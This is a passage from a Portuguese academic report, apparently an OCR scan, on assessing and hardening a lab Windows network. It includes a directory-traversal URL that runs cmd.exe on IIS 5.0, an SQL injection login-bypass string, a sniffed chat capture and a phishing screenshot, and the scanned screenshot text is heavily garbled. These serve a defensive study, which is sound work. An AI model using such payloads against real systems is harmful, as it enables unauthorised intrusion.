= _.,! ftlodiEsar % 1 2003-08-25 13-5...  marianaafsil..  Mariana acha que vou mudar de profissan

& maria 2 2005-08-25 T30 mananaafal.. Manana
& mania | &3 2009-08-25135...  marianaafsil..  Mariana _
& fcd 43,! 4 2003-08-25135. 1921681.23 e
Wi5  2003-0825138.. 1921681.23 |
£E 2009-08-25 136, marianaafsl..  Mariana 1 |
&7 20090825136, maranaafsl..  Manana ]
g 2009-08-25 135, marianaafsil..  Mariana [
] 2009-08-25135...  marianaafsil..  Mariana ]
& 10 20030825135 marianaalsl . Marana [ ]
5‘ 11 2003-08-2513-5... marianaafsl..  Marana Only firzt 10 meszages will be thown in the demao version
5 15

2 38, manianaafsil..  Mariana Orly first 10 me g showh in the dema version
13 2009-08-25135.. maranaatzl.. Marana Only first 10 messages will be shawn in the dema version
S 14 20090825135 marianaafsil..  Mariana Only first 10 messages will be shown in the dema version
& 15 20090825135 marianaafsil b ariana Only first 10 messages will be shown in the demo version
,\g 16 2003-08-2513-5.. marianaafsl..  Marana Only firzt 10 meszages will be thown in the demao version
A |
| Capturing.. |8l Packets:4555 [ MSN Chats: 16 7

Figura 57 — MSN Messenger Sniffer — Captura de mensagens

4.3.6 Exploragéo de vulnerabilidades

Uma méaquina pode ser atacada através de vulnerabilidades no sistema. Isto pode

acontecer em diversos casos:
e O atacante descobre ou gera uma falha e automaticamente tira partido dela

e O atacante investe em ataques conhecidos na esperanc¢a de encontrar um sistema
ndo protegido (p. ex. um sistema sem uma actualizacdo grave de seguranca).
Geralmente estas falhas sdo indicadas no proprio site das empresas de sistemas
operativos (Windows, Linux, Mac) e em websites de segurancga (SecurityFocus
[10], Wired [35], CVE [9], entre outros).
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Dai a necessidade de ter o sistema sempre actualizado, com as actualizagdes ou
Service Packs instalados e com as mais recentes bases de dados de virus e spyware.
Este € quase um requisito minimo para qualquer sistema se manter minimamente

seguro.

Um exemplo de vulnerabilidade grave é a CVE-2001-0333 [39], conhecida como
“Directory Transversal”, no IS 5.0. Através da manipulacdo da barra de enderecos,

é possivel executar comandos de sistema como “dir”, “copy”, e todos 0s outros.

Ex. http://172.27.18.208/scripts/..%255¢..%255cwinnt/system32/cmd.exe?/c+dir+c:\

4.3.7 Cross-Site Scripting (XSS)

Um dos problemas comuns de seguranca em aplicaces Web é a introducdo néo
autorizada de scripts. Estes scripts podem efectuar o mais diverso tipo de operagdes e
podem surgir através de vulnerabilidades em cddigo asp, php, xml e muitos outros, o

que faz deles uma ameaca grave e algo a prever na constucdo de uma aplicacdo Web.

Uma vulnerabilidade “candidata”, ou seja, em fase de estudo, é a 2004-2020, que
permite inserir scripts de codigo num dos pardmetros do mddulo de noticias da
aplicacdo Web [43].
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4.3.8 SQL Injection

A injeccdo de SQL consiste em introduzir codigo em Structed Query Language nos
proprios campos disponiveis para inser¢do de dados, como por exemplo, a introdugédo

do nome de utilizador e palavra-chave (cf. figura seguinte).

@WORDPRESS

LUsemame

Login =

Figura 58 - WordPress — Autenticacao

Quando sdo inseridos dados pelo utilizador, esses dados sdo lidos pelo cédigo e
actualmente € quase garantido que haja uma base de dados por traz para armazenar
toda essa informacdo. Acontece que se for colocado cddigo SQL directamente nesses
campos, podera ser possivel controlar directamente o cddigo SQL a ser executado,

p.ex.:
“Select Users Where UserID = “UsernameTexthox”

Se for introduzido no campo “Username” o cddigo: * OR 1=1; --

Ao introduzir este codigo, se a aplicacdo Web ndo estiver correctamente protegida,
vai abrir a pagina de login efectuado com sucesso, uma vez que esta a considerar que

o utilizador deve existir (condicao base) ou que 1 seja igual a 1 (condicéo alterada).

Um exemplo de vulnerabilidades deste tipo é a CVE-2008-7059, corresponde a uma
falha detectada no arquivo “index.php” de paginas PHP e que permite a execucao de

codigo SQL directamente no servidor [42].
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4.3.9 MBSA

Ao executar o MBSA sobre a rede local sera possivel determinar as vulnerabilidades
actuais na rede.

B Microsoft Baseline Security Analyzer 2.1

Microsoft

¢ Baseline Security Analyzer

Scanning...

Started scanning 205 of 254

Completed scanning 203 of 254

Critical scanning problems Found: 203

Cancel |

Figura 59 — Teste MBSA

Como é possivel ver na figura seguinte, existem varios problemas no servidor
Exchange que requerem atencdo e accao rapida.
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B Microsoft Baseline Security Analyzer 2.1

Microsoft

m ¥ Baseline Security Analyzer

Report Details for ISEPLAB - EXCH2K3 (2009-08-27 22:37:17)

' Security assessment:
@ Incomplete Scan {Could not complete one or more requested checks.)

Computer name: ISEPLABIERCHZKI

IP address: 192.168.100.2

Security report name: ISEPLAB - EXCHZKS (27-08-2009 22-37)
Scan date: 27-08-2009 22:37

Scanned with MBSA version: 2.1.2104.0
Catalog synchronization date:

Sort Order: | Score (worst first) = I

Security Update Scan Results

Score  Issue Result
! Security Computer has an older version of the client and security database demands a newsr version, Current version is and minmunn required version is 5.8.0,2678,
Updates Hows to correct this

windows Scan Results

Administrative Yulnerabilities

Score  Issue Result
J Local Account Some user accounts (2 of &) have blank or simple passwords, or could not be analyzed.
Password Test  yyhat was scanned  Result details  How ko correct this
o Password Some user accounts (2 of &) have non-expiring passwords,
Expiration ‘what was scanned  Result details  How ko correct this =l
S Brint this report P Copy tacipboard B Frevious s=curity repart Hlesst security report ()

Figura 60 — MBSA sobre servidor Exchange
Alguns dos problemas encontrados sdo:

e Palavra-chave insegura e/ou ndo expiravel (nimero de caracteres, tipo de

caracteres usados, e periodo de obrigatoriedade de alteracdo pa chave)

e Actualizacdes importantes nao instaladas

4.3.10HTTP

Como foi demonstrado na secgdo 4.3.4, os dados que circulam pela porta http,
circulam em plain text, o que significa que existe alguma inseguranca na transmissao
da informacdo entre entidades, podendo dar origem a ataques do tipo “Man-In-The-
Middle”.

Sendo que neste projecto existem comunicacgdes via Web, necessérias para acesso ao
webmail, websites, e gestdo de contetdos em SharePoint, € importante que se
adoptem normas de seguranca adicionais, como a implementacdo de HTTPS, como

sera visto no capitulo de optimizag&o de seguranca, em 4.4.
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4.3.11 Viras / Spam

O sistema base ndo prevé qualquer seguranca a nivel de virus, trojans, worms, e outras
ameacas resultantes da execucgdo de scripts maliciosos que poderdo ou ndo requerer
confirmacdo de execucdo ao utilizador. Muitas destas ameacas circulam em emails
destrutivos, enviados por vezes através de geradores de envio dinamico, isto é,
programas que enviam emails para enderecos aleatorios, que poderdo existir ou néo.
Este tipo de envio de correio electronico em massa ¢ denominado SPAM (que
significa “mensagem indtil”, derivada do inglés, “Stupid, Pointless, Annoying

Message™).

4.3.12 Phishing

Uma das técnicas mais usadas da actualidade para a obtencdo de informacéo
confidencial é o phishing. Esta técnica consiste precisamente em “pescar”, isto é,
enviar pedidos em massa, normalmente via correio electronico, pedindo dados
relativos a autenticacdo dos utilizadores em websites bancarios ou outras entidades.
Estes ataques tém sido constantes, em Portugal e no estrangeiro. Os utilizadores sdo
levados a inserirem os dados de login e/ou de cartdes de validacdo de operagdes. O
atacante cria um ambiente semelhante ao da organizagdo a replicar, com uma
hiperligacdo que aponta para um site externo com a aparéncia, neste caso particular,

da Caixa Geral de Dep0sitos.
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Firadny  Edbsr  Wer  Fovorbor  Forraresndss s "
;}“H‘.‘Mlﬂll = | L3 :’. ul | g Frocua '__- # Faworitoa ﬁ-“" g
w20 | ] hitos: foabeadinect s cnpd. Db Ko aooaDinect sfprofibe, doTradinack_ids D40 IS0 SIARD AT 304 DAZEE: 12001 TARSIE 16 s E-lrl'bh'll Hi
Sakel O Sietama da Actwacan da su3 Conta cumprimenta wace,
Por condicle & 5ua conts estd bloqueada, Pare comecar 4 usé-la na planitude, woEd dewe Activl-la. Bsrs sctivar 4
COnta & Mmecessano que preancha o Cartsd matriz, cue &1 maisbaiso. Daposd do pracachmenta do Catio maknz
clque o botio «Activans, @ se tadas o5 dados 2ardo introduzidas comactamanta, o sistema activars 2 sua conta e
wacé poderd wsd-la na plentuda.

Lembeamos-Fe que & S55a OMEraca &L oncadica 50 Una Wez 8 3 mirocucan do CartEn matnz & possel £ dento da
sua conta, Insistentemanta pedinas qus o Sanhor £ 3 Senhora ndo cnaia nes rodaios dos frasdadaras, que padam
pars preencher o Cartio matnz completamente riom deniro da sua canta, nem Ra pagina prncipal. Lesare ouo osta
nformagic & confidenceal & mas nunca pedmos-la’ em casc da autentificas 32 no banco orfine. Desculpamos pelos
nGhmodnd, AlEnciitaments, o SARISHE da SRgUIARGE o Interrsat Banking CE0

1 2 3 4 5 o 7 8

ImTmmanmrE

] Conchsda 2 Itenet

Figura 61 — Email fraudulento por phishing

4.3.13 Politicas de seguranca

Algumas politicas de seguranca devem ser implementadas de forma a colmatar

eventuais perigos futuros e implementar as normas de seguranga “AAA”

(Authentication, Authorization, and Accounting).
e Palavra-chave de dominio complexa (actual é “password”)
e Divisdo dos utilizadores por grupos com permissdes hierarquizadas

e Monitorizar acgdes de servigos e utilizadores

e Dissimular servicos de correio electronico, Web e outros de forma a esconder

informacao relevante (aplicacdes usadas, versdes, enderecos)

e Definir regras de acesso e pro-actividade do sistema (em caso de falha ou

duvida, negar como regra por omissao)
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4.4 Optimizacdo do sistema

Nesta seccdo serdo descritas e demonstradas ac¢Ges modificativas sobre o sistema

para que este resolva as vulnerabilidades encontradas.

4.4.1 Reconfiguracao da firewall

Foram efectuadas algumas alteracGes a firewall no sentido de permitir acessos “mais
seguros” a informacdo, nomeadamente através da implementacdo de redes virtuais
(VLAN), HTTPS, SSH, e Web Proxy para controlo da informacéao sobre a Web.

e Definicdo de proxy que servirad de intermediario entre a informacéo se circula
internamente a o0s acessos de/para a rede exterior. Todo o trafego Web sera

remetido para a porta 8080.

- )
Internal Properties HE
General I Addresses I Damains | Web Browser |
Auko Discovery I Firewall Client ‘Weh Proxy

I Enable Web Prosey client connections For this nebwork:
~HTTP
¥ Enable HTTP

HTTF port: I 2030

~s5L
[ Enable 55U

551 port: I 443 Sepyver Cettificates.,

Configure allowed authentication methods:

Authentication. .. |

Configure advanced properties:

Advanced. .. |

'TI Cancel | Apply |
Figura 62 — Definicdo de um Web Proxy
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e Definicdo das regras do servidor de firewall

[ g amen vew ueo
o= | BE|RE Y L FXDE s

[ Pacressoft Inkemast Socurty ¢
S&@ke
. Firewall Policy
5] Hondwing
L Firewall Folcy
Vatusal Private st | /52
=i Configuration
< Nedwcrhs
A Cache " N
<2 addirs = Firewall Policy
1] Gewral I E Fep server @ o @ External [ 19218820001 Tasks
i Troubleshocking = [rs bt e % Abere [p— @ Esterma
3. Lol Hogt
S Prsimater
Blrrres
w4 webserver G adow i vrre i owea bsterer o] e l152. 160,154
=18 weh mvternal access( 1) & o L Hrre i Futernal | cmz_server
B
=1e web extenal access G adow L_-{_H"P <o Lol Mot M dmz_server
[
@- sl SIF Server & adow L4 518 Serwer @ Laternal | rse1m0. 00
= is de_dns_? [~ T L) ol Cutbeurd Traffe W de i@ Extemal
A Inkenal
<ieLocal Host
CIL oo _dins & o L am ot Trathie . Brtrnal wheLoeal Host
L Ed
o proney abow G o L) HTTP Proscy <o el <ieLocal Host
A il () here [ ELEYST Y, P I e . System Pollcy Tasks
] netinos Name Service A et Szt Fobey
L) hettins Sesson
2 5 1 Show 5
= 1)1z CME_sessi_nkerins At U1 FTe i bternad A Pevimeber .
L-?.mp (%) Enport Sysbem Pobcy
l_'EHTTPS (%) Import Systam Pobey
L P {Termingl Sermces)h o
Lt Dkt rde &) eny 1) a0 Traffic <. allNetwerks {and Local Most) < Al Mstwrks (e Local Host Related Tasks
I | T | ¥ | GO To Traffic Smudstor =
[pone
Astart| (3 @ (3 Microsaft Internet Se.. &) S4P0 Mol - Hirosolt Tk, | 2] Mo Weritpad Busuaness.. | | B G 1o

Figura 63 — Regras ISA para Proxy

As regras da aplicacdo de firewall sdo essenciais para assegurar que a informacao
circula correctamente pelo sistema, sendo direccionada para 0os nds necessarios da
rede, e, acima de tudo, assegurar que apenas a informacdo devidamente prevista e
credenciada segue o seu caminho. Toda a informacdo ndo prevista por estas regras
definidas pelo administrador, atingiram a regra por omissédo “Deny”, que descarta
todos os pacotes de informacgéo que ndo tenham sido previamente identificados.
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4.4.2 VPN

A ligacdo VPN ou Virtual Private Network, ird4 proporcionar aos utilizadores ligados
externamente, 0 acesso a rede interna, com o objectivo principal de promover o
trabalho colaborativo e remover dependéncias fisicas do processo produtivo da

organizagao.

e Definigdo de uma nova rede dedicada a utilizadores ligados externamente via
ligagdo VPN: 192.168.150.0.

Virtial Private Sebwneks (V) Progesties
Access Metworks  Address Assgrment | Rethentication | RAGIVS |
[ Select the 1P sddress assgrment method: -

Computen s Fon VPN cherd conrusciors.

1™ bt DA server addresses Lsng DHCP configurstion
1% Usn the followrg DHS server addresses:

Wmtm‘
R

(p v———

1 U e ol WINS server addresses:

Priary: ,W

_.°_‘_.|_..;°'.";‘_..|

distant| [ 8 13 Mrosolt Wkerrt Secui.. | E) | [ A GE

Figura 64 — Criacao de uma VPN
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O modo como os utilizadores se autenticam na rede ira ditar o grau de
seguranca a que a mesma esta afecta. Existem alguns protocolos de seguranca
a disposicdo, tendo sido escolhida a encriptacdo MS-CHAPvV2 visto que a
ligacdo esta associada ao servidor ISA, ndo sendo utilizados certificados.

¥irtual Private Networks (¥PN) Properties E E3

ficcess Mebworks I Address Assignment  Authentication |R.¢\DIUS I

—Authentication methods

Select the authentication methods used when the remote site gateway
or the remote WPM client initiates a connection to IS4 Serwver,

[+ Microsoft encrypted authentication version 2 (MS-CHAPY2);

r Extensible authentication protocol (EAP) with smart card or other
certificate.

LUse the protocols belaw only For WP clients running on Windows 98 or

‘indows MT 4.0 that do not have the latest WPN client software
installed,

™ Microsoft: encrypred authentication (M3-CHAR)
[~ Encrypted authentication (CHAP), Requires reversible passwaords,

[™ shiva password authentication protocal (SPAR)
[™ Unencrypted password (PAF)

[ allow cuskom IPsec policy for L2TP connection

Pre-shared key: I

Ok I Zancel | Apply |

Figura 65 — Configuragdo da VPN
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Inicialmente, configurou-se a rede virtual de forma a receber 10 ligacGes em
simultaneo de utilizadores via VPN, através da disponibilizacdo de 10
enderecos IP estaticos. No entanto, optou-se mais tarde por passar a tarefa de
atribuicdo de enderecos para o protocolo DHCP, para que 0s enderecos nao se
“prendam” a um dispositivo fisico, mas sim, sejam atribuidos dinamicamente

consoante os utilizadores se ligam ao servidor.

¥irtual Private Networks (¥PN) Properties EHE3 |

access Metworks — Address Assignment |.ﬁ.uthenticati0n I RADILS |

Select the IP address assignment method:
" Skatic address poal

IF' address ranges:

Start Address | End address | Add. ..
192.168.150.1 192.168.150.10

Edlit, .. |
REMOVE, .. |

% Divnamic Host Configuration Protacol (DHCP).:

Use the following network to obtain DHCR, DMNS and WINS services:

Internal j
Advanced settings are only applicable For Advanced. .. |

remote YPH cliznts,

(04 I Cancel | Apply |

Figura 66 — Configuracéo de rede para a VPN
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e Validagdo da autenticagdo na active directory

Hm I8 xR En gBEvEs —
[ Fictive Direvtory Users arsd Compens [¢ Hame: Us
ved Queries

DERCRRN

Fadt-in account For admind. ..
weo Memibers of this
wio Metiens v have adinki,..

| A imindsteator Peoperties

Menbs 0 | D | Ermeoremed | Sessons |
= e oM

N — ol B
ve. Genesl | Addinss | Account | Fiokln | Trlephores | Diganiraiion

Bust-in aceount For guest ..
e Ml aned Sus..

T ¥
e Ser th (2 [P

This & & wéndor's sccount .,
<o Membiers of th b

we Members who have visw.., T als

[

I&mssorenye. 3 s
Figura 67 — Configuragdo da VPN para a Active Directory

san| | (3 &

Os utilizadores externos devidamente autenticados receberdo, como foi descrito na
pagina anterior, um endereco légico que Ihes permite aceder a informacdo, como se
estivessem efectivamente conectados de forma fisica. Posteriormente devera ser
definida uma entrada na “Active Directory” associando esses mesmos utilizadores
externos a um grupo pré-definido, com configuracGes e permissdes explicitas. Desta
forma é possivel limitar os acessos do exterior a determinados servigos ou operagoes,

como p.ex., permitir apenas a leitura da informagéo e néo a escrita da mesma.
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4.4.3 Utilizacao de certificados digitais / HTTPS

Para configurar ligacGes seguras por https nos websites da organizacdo pode-se
instalar a aplicacdo “SelfSSL” [45].

Dever-se-a entdo fazer o download do “IIS Resource Kit’[44] e instalar o pacote

SelfSSL, e opcionalmente instalar também outros pacotes incluidos neste Kit.

e selfssl /n:cn=mail.iseplab.local /v:1325

[&v.| Administrator: SelfssL

Microsoft (R} SelfSSL Uersion 1.8
Copyright <G) 2883 Microsoft Corporation. All rights reserved.

Installs self—-signed 35L certificate into IIS.
SELFSSL [/T1 [/N:cnl [/K:key sizel [/8:site id]l L[-P:port]

Adds the self-signed certificate to "Trusted Certificates"
list. The local browser will trust the self-signed certificate
if this flag iz specified.

Specifiez the common name of the certificate. The computer
name iz used if not specified.

Specifies the key length. Default iz 1624

Specifies the validity of the certificate. Default is ¥ days.
Specifies the id of the szite. Default is 1 (Default Sited.
Bpecifies the B5L port. Default is 443.

Quiet mode. You will not be prompted when SSL settings are
overuritten.

The default behaviour is egquivalent with:

selfssl.exe /M:CN=CORDOVA ~K:1824 ~U:7 /85:1 ~P:443

C:“Program Files {(xB6>-~I15 Resources“Self35Lrselfs=z]l /n:icn=mail.iseplab.local ~v
1325

Figura 68 — Ecra de configuracéo de certificado por SelfSSL
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4.4.4 Proteccdo anti-virus e anti-spam

Para proteger efectivamente o sistema contra ameacas externas e correio electrénico
indesejado, e dado que nédo se vai utilizar um servidor de relay [51], o Forefront [47]

surge como uma das aplicagdes com o potencial necessario para este efeito.

€ Forefront Server Security Administrator

i =z |
| Fe Hep || server [sMpERDY =
( SETTINGS | (] Naeme |_ID]| State Vius Scanni Fle Filteis Content
= FReattime Scan Job 2 Ensbled  On On On
2 Manual Scan Job 3 Siopped  On On on
ScanJob
£l
Scannes Updates
E |
Templates
General Options
[EloScwver: _ B
| AhnLab Antivirus Scan Engine - IFWCM ']
¥ Authentien Command Artivius Engne Adborc
¥ CAlnoculatel | Delete: remove infection =l
| IF v St
\ FILTERING ) | " Micioscht Ergire | [Send Notiicationd
| | Notman Vi Conirel x| | ¥ Quasantine Fies
L OPERATE L - ;
(meronr ) | Sov ) Conce)

Figura 69 — Ambiente Forefront Server Security
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4.4.5 Proteccao darede sem fios
Para as redes sem fios, foram tomadas as medidas seguintes:

e Esconder SSID (apesar de haverem aplicacbes como o SSIDSniff [38] que

resolvem a questdo) para o sinal ndo ser enviado abertamente.

e Utilizar algoritmos de seguranca 0 mais complexos possiveis, evitando a (facil)

quebra das chaves, como WPA2 com encriptacdo AES.

e Utilizar proteccBes de autenticacdo na rede e evitar partilhas de pastas, uma vez
que se a rede for quebrada, o acesso a informagdo confidencial ficara

comprometido.

e Colocar 0 ponto de acesso dentro de uma area desmilitarizada, evitando acessos

indevidos a informacéo, caso o dispositivo seja quebrado.

Neste momento, a rede ndo é detectavel directamente por dispositivos 802.11
tornando-a invisivel aos utilizadores comuns. Mesmo para 0S mais experientes,
quebrar uma chave de 128 bits em WPA com TKIP é bastante dificil e moroso, ndo
havendo ainda métodos comprovados para 0 processo, e para 0 recente algoritmo
AES, nédo existe ainda qualquer documentacdo que o ponha em causa. Ainda assim,
pensando no impossivel, foi determinada uma politica de modificacdo mensal da

chave, que obriga o administrador a modifica-la periodicamente.
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4.4.6 Balanceamento de carga

Esta seccdo estd substancialmente relacionada com a proxima, “tolerancia a falhas”.
Conjuntamente, estas duas metodologias assumem papéis fundamentais nas médias e
grandes organizacdes, para assegurar que toda a informacao continuara disponivel ao
ocorrerem situagdes adversas, como sendo a falha de servidores ou dispositivos
especificos de um servidor, falhas em determinados locais geograficos, ou durante um
acesso excessivo de utilizadores a mesma informacgéo, num mesmo periodo temporal
[48]. Para prever este Gltimo ponto, existem tecnologias que permitem direccionar
dinamicamente os dispositivos de uma rede para “alimentar” um determinado n6 da
rede, em detrimento dos restantes, ou mesmo adicionar em tempo real dispositivos
fisicos ou virtuais para responder as necessidades do sistema e manter 0s servigos com

tempos de acesso aceitaveis para os utilizadores.

Grosso modo, quando se fala em tolerancia a falhas, fala-se normalmente em criar
clusters [50], que ndo sdo mais que maquinas replicadas que assumem papéis
secundarios numa rede, mas que sdo essenciais numa intervencdo despolotada pelo

baixo desempenho da rede, ou pela falha de dispositivos fisicos.

4.4.7 Tolerancia a falhas / RAID

Esta seccdo ndo se ird desenvolvida em grande pormenor, apesar da indmera
informacao disponivel, e das diversas formas de implementar failover usadas na
actualidade [49].

Uma das técnicas baseia-se na distribuicdo de tarefas e/ou capacidade dos discos
rigidos onde a informacdo é guardada, o chamado RAID [53] ou Redundant Array of
Inexpensive Disks. Existem varios tipos de RAID, sendo os mais conhecidos, o
RAIDO, RAID1, indo os mais comuns até ao RAID6, sendo que a medida que o valor
namerico vai aumentando, maior € o nimero de discos rigidos com implementacéo de
tolerancia a falhas. No caso do RAID 6, mesmo que falhem dois discos rigidos em

cinco, o sistema continuara operacional.
Raid 1 - mirroring

Raid 5 - failover load balancing
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Tabela 3 — Esquemas de armazenamendo de dados por RAID

RAID D
e T
T
AL | |z
L A3 ] Ad
AL LB
A7 | | B

e Software RAID

A variante RAID utilizada neste projecto foi o RAID por software. Apesar de ndo ser
tdo eficiente como o RAID por hardware, permitiu porém, alcangar maior
desempenho e gestdo de capacidade l6gica do que sem qualquer utilizacdo deste tipo
de ferramentas. Devidamente configurado, o RAID por software traz substanciais

beneficios no desempenho do sistema [54].
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4.4.8 Copias de seguranca

No panorama actual podem-se encontrar varios tipos de cépias de seguranc¢a, sendo

usadas também variadas regras de agendamento, armazenamento, e transporte.

No limite, uma organizacdo pode guardar diariamente toda a informacdo em tapes,
varias vezes por dia, e envia-la para locais geograficamente distantes. Hoje em dia
comegam também a surgir soluc@es de “backup-as-a-service” [56] [57].

Os tipos de backups podem ser [55]:
e Na&o estruturais (copia minimalista para média gravavel)
e Completos e Incrementais

e Diferenciais (informagéo adicionada ou alterada)

Neste projecto alguns servidores foram configurados agendar copias de seguranca
incrementais diariamente.

E,, Server Manager

=1olx|

File Action View Help

&= | Z=lEE

5 Roles
o5 Festres Windows Server Backup 4] | Windows Server Backup “
i Diagnostics a View »
i Configuration . & You can perform a single backup or schedule a regular backup using this ap "
=l 25 Storage - P

@ Windows Server Backup @ Windows Server Backup is not installed on this computer, To install Windows Server Backup, dick Start,

L=§ Disk Management select Windows Server Backup, Follow the instructions in the Add Features Wizard,

‘ | o

Figura 70 — Cdpias de seguranca do Windows 2008 Server
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5 Conclusoes

Quando falamos em seguranca, informatica ou ndo, ndo ha certezas nem pozinhos
magicos. Ha sim, regras e experiéncia de outros a ter em conta para construir um
sistema solidificado e protegido dos males comuns. Depois disto, cada caso é um caso
e a seguranca pode ser optimizada apenas em conformidade com a organizacéo. Se a
seguranca € o bem maior, talvez seja necessario optar por uma politica de negacéao por
omissdo. Se a informagdo que circula para o exterior € meramente informativa e
deslocada da rede interna da organizacdo, o melhor podera ser permitir por omissdo
para obter uma maior experiéncia e comodidade aos clientes, bloqueando

posteriormente 0 acesso a servicos especificos.

Na primeira pagina do seu livro “The Art of Deception” [40], Kevin Mitnick diz que
uma organizacao pode adquirir as melhores tecnologias de seguranca que o dinheiro
pode comprar, instruir o pessoal a fechar tudo a “sete chaves” antes de sair do
trabalho, contratar empresas de seguranca para assegurar o edificio, seguir as boas
praticas recomendadas por peritos, instalar todas as actualizacbes de seguranca e
configurar optimamente o sistema, e ainda assim, estardo completamente vulneraveis.
Uma das principais razdes para isto acontecer é o “factor humano”. Uma grande
percentagem dos utilizadores fornece livremente 0 seu acesso ao sistema quando

abordado para tal.

Com este trabalho foi possivel demonstrar as vulnerabilidades de um sistema em que
sera tanto mais inseguro quanto o numero de servicos que disponibiliza para o
exterior. Desde 0 acesso fisico ao meio por pessoas estranhas a organizacdo ou nao,
passando pelos desastres naturais, e até ao ataque digital, sdo inUmeras as ameagas
que as organizacOes estdo afectas ao ligar-se ao mundo tecnologico. Demonstradas as
limitacGes das redes cabeladas e sem fios, dos sistemas operativos sem actualizacdes e
sem aplicativos de seguranca adicional, dos sistemas sem estrutura e sem politicas de
gestdo de bens e pessoas, ficou latente a grande necessidade de proteccao,
manutencdo e evolucdo dos sistemas de forma a manterem graus de seguranca

adequados.
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Além do tema da seguranca em si, foi caracterizado todo o processo de
desenvolvimento de um sistema com diversos servicos interligados de forma a criar
alguma independéncia de organizacOes externas para gestdo de informacdo, dados e
servigos, e, consequentemente, diminuir os custos e aumentar o controlo sobre a

informacgao.

Foram implementados diversos sistemas paralelos como o servidor de correio
electronico (Exchange), servidor de gestdo de conteddos (SharePoint), servidor de
firewall (ISA), anti-virus e anti-spyware (Forefront), e servidor Web. Posteriormente,
foi executado todo um trabalho de gestéo, interligagéo e optimizagdo de todos estes

sistemas de forma a obter um sistema Unico, estavel, funcional e seguro.

Foram também encontradas inumeras dificuldades, principalmente ao nivel do
funcionamento do servidor de firewall, o Internet Security and Acceleration 2006.
Problemas como a aplicacdo de regras sem efeito, o blogqueio constante de portas com
permissdo e outros problemas de configuracdo, levaram por vérias vezes a que se
pensasse em solucdes diferentes para implementar este servi¢co. Deram-se também
outras dificuldades relacionadas com o hardware disponivel, desde memdria das
maquinas, capacidade de processamento, limitagdes do switch. Estas dltimas geraram
diversas perdas de um tempo ja de si curto e alguma demora no diagnostico de
problemas.

Em resumo, foi feito um estudo intensivo da actualidade, em termos de sistemas de
rede e seguranca informatica, de forma a “fabricar” este sistema e justificar todas as

opcOes tomadas, seja ao nivel estrutural, seja ao nivel das aplica¢des usadas.

Com tudo isto espera-se conseguir demonstrar as potencialidades de um sistema deste
género, coadjuvadas com as proprias limitagcbes do mesmo, visto que ndo sendo
possivel encontrar uma solucdo perfeita para um sistema genérico, sera porém

possivel apresentar uma solugdo plausivel para um sistema determinado.
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5.1 Resumo do relatério

O capitulo inicial deste relatorio evidencia as necessidades por traz do projecto e as
ideias principais para as atingir.

Ja no capitulo 2 s&o indicadas algumas tecnologias que se pretendem usar e € descrito

o0 protdtipo do diagrama do sistema que se pretende construir.

No capitulo 3 é efectuado o Estado da Arte, no qual sdo enumeradas diversas
aplicacbes comummente usadas na area das redes, sendo umas direccionadas para a
proteccdo efectiva do sistema, enquanto outras visam atacar essa mesma proteccao,

tornando-se meios perfeitos para testar fiavelmente o grau de seguranca a atingir.

Um dos capitulos mais importantes e onde esta todo o “sumo” deste projecto € o
capitulo 4. Aqui é demonstrado todo o processo de constucdo e instalagdo do sistema,
mostrados os passos utilizados, as op¢bes tomadas e as referéncias tidas em conta para

chegar a um ponto de equilibrio entre a falta de seguranca e o excesso de zelo.

Finalmente, o capitulo 5 descreve as conclusdes retiradas de todo este projecto, as
ideias que ficam, as dificuldades passadas, os pontos de maior interesse e ainda as

perspectivas de evolucéo futura.

5.2 Objectivos realizados

Como foi estipulado no capitulo introdutério, pretendia-se elaborar com sucesso um
sistema global, independente e multi-facetado, que proporcione a todos o0s
intervenientes de uma organizacdo genérica e coexistir de uma forma segura e

integrada.

Apos a finalizacdo deste projecto foi possivel mostrar as potencialidades dos sistemas
actuais na gestdo de aplicagdes e pessoas atraves de gestores de contelldos como 0
Microsoft SharePoint e de funcionalidades fundamentais na informatica actual, como
servigos de correio electronico, servidores de ficheiros e websites, e documentacao

partilhada e hierarquizada.

Foi comprovada a falta de seguranca inicial dos sistemas, a nivel de aplicacdes e

praticas humanas, tendo sido dada uma elevada quota-parte do tempo dispendido
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neste projecto a esta area em particular, pela sua relevancia na actualidade, pela
constante mutacdo de meios e técnicas e acima de tudo por ser uma area que requere

uma aprendizagem constante.

Foram também estudados e aplicados meios de optimizacdo da seguranca, removendo
vulnerabilidades e aplicando configuracfes consistentes, ora através de aplicagdes
adicionais, ora através da estipulacdo de técnicas téoricas e sociais.

5.3 LimitacGes & trabalho futuro

Uma das limitacGes deste projecto é a utilizacdo de software recente. A capacidade de
processamento das maquinas disponiveis e a falta de uma versdao do Exchange 2007
de 32 bits levou a uma orientacdo para versoes anteriores para aplica¢6es de servidor.

No inicio deste projecto, umas das ideias para o projecto era implementar meios de
replicacdo da informacdo, com vista a falhas de software e hardware. Implementando
sistemas de tolerancia a falhas e redundancia seria de facto uma mais-valia para este
projecto, mas devido a sua ja elevada carga, ficou pela ideia e ndo passou para a

pratica, mas seria sem divida um modulo adicional aliciante.

5.4 Apreciacao final

Este trabalho surgiu em grande parte pelo interesse numa area tdo vasta e tdo mutavel
como é a seguranca informatica. O retorno final foi sem duavida enorme, tendo sido
obtidas aptidfes para uma correcta instalacdo, configuracdo e optimizacdo de servigcos
interoperaveis. Todo o trabalho efectuado, desde a montagem das méaquinas, passando
pela interligacdo de cabos e servidores, e até a instalacdo de software e aos inUmeros
testes efectuados, permitiram que se ficasse com uma percepcdo muito maior das

arquitecturas de redes do mundo actual e das ameacas que este sofre.

Uma das caracteristicas interessantes deste projecto foi “segurar através da imposicéo

de inseguranca”, isto &, estudar o meio hacker, os utilizadores internos e externos mal-
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intencionados e quais as ameacas que representam, bem como 0s meios e técnicas que

utilizam.

Terminado este projecto, ficou sublinhada uma ideia: nada esta seguro. De facto, ha
medida que as tecnologias evoluem, e com a informacdo rapida e facilmente acessivel
na Internet, os sistemas estdo cada mais afectos a ataques de seguranca e 0s possiveis
atacantes aumentam exponencialmente. Qualquer aplicacdo que afecte minimanente o
desempenho de um sistema estd disponivel livre e gratuitamente, e ao alcance de
qualquer um. Ao que parece, é quase impensavel julgar que se tem um sistema “a
prova” de intrusos, sendo que a tendéncia é antes, tentar antecipar as acgdes dos
possiveis intrusos e ajustar o sistema em conformidade, tendo em conta o trabalho
diario da actualizacdo sobre os trés W’s da informacdo: What, When e Where. De
facto, se se souber que informacdo circula numa organizacdo num dado momento, e
num determinado local, é bem possivel que se consiga evitar ou mesmo antecipar

tentativas de usurpacao dessa mesma informagéo.

Na 6ptima do administrador de sistemas existem algumas maximas que parecem ser
imutaveis com o tempo: actualizacdo de acordo com a evolucgéo tecnoldgica (evitar a
